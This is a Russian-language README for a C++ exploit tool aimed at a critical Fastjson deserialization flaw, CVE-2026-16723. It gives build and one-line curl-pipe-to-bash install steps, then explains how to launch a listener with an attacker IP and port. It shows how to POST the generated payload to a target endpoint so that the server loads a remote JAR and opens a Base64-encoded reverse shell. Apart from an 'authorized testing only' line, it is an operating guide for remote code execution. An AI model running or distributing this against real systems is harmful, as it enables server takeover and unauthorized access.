Эксплойт для CVE-2026-16723

Автономная реализация на C++17 для CVE-2026-16723 — критической уязвимости, затрагивающей Fastjson версии 1.2.68 – 1.2.83.

Требования

• Linux (или WSL в Windows)

• Компилятор с поддержкой C++17 (GCC 7+ или Clang 5+)

• CMake 3.10 или новее

• Системные пакеты:

  • libzip-dev
  • zlib1g-dev

Debian / Ubuntu

sudo apt update
sudo apt install -y build-essential cmake libzip-dev zlib1g-dev

Установка

Быстрая установка (рекомендуется)

Всё устанавливается одной командой:

curl -sSL https://raw.githubusercontent.com/yourusername/CVE-2026-16723/main/install.sh | bash

Или загрузите и выполните установщик вручную:

wget https://raw.githubusercontent.com/yourusername/CVE-2026-16723/main/install.sh
chmod +x install.sh
./install.sh

Скрипт установки:

• Установит все необходимые системные пакеты.

• Загрузит требуемые библиотеки только с заголовками:

  • nlohmann/json
  • cpp-httplib

• Соберёт проект.

• Поместит скомпилированный бинарный файл в текущий каталог как:

./exploit

Ручная сборка

Если вы склонировали репозиторий:

git clone https://github.com/yourusername/CVE-2026-16723.git
cd CVE-2026-16723
./install.sh

Или соберите вручную:

mkdir build
cd build

cmake ..
make -j$(nproc)

cp exploit ../

Использование

Запустите бинарный файл:

./exploit --lhost <YOUR_IP> --lport <SHELL_PORT> [options]

Пример

./exploit --lhost 192.168.1.100 --lport 4444 --http-port 8000

После выполнения будут созданы следующие файлы:

x
body.json

HTTP-сервер запустится на указанном порту (по умолчанию: 8000), и инструмент будет ожидать входящее reverse shell-подключение.

Отправка полезной нагрузки

Отправьте сгенерированный файл body.json на уязвимую конечную точку:

curl -X POST http://<TARGET_IP>:8080/api/products/search \
     -H "Content-Type: application/json" \
     --data-binary @body.json

Если приложение ожидает другое JSON-поле, укажите его с помощью опции --field.

Параметры командной строки

Выходные файлы

Примечания

• Этот проект предназначен только для авторизованного тестирования безопасности и образовательных целей.
• Реализация принуждает целевое приложение загружать и подключать удалённый JAR с использованием протоколов jar:http и jar:file.
• Команда reverse shell кодируется в Base64, чтобы уменьшить проблемы с экранированием.

Следуйте за мной в Twitter(X)

• MNM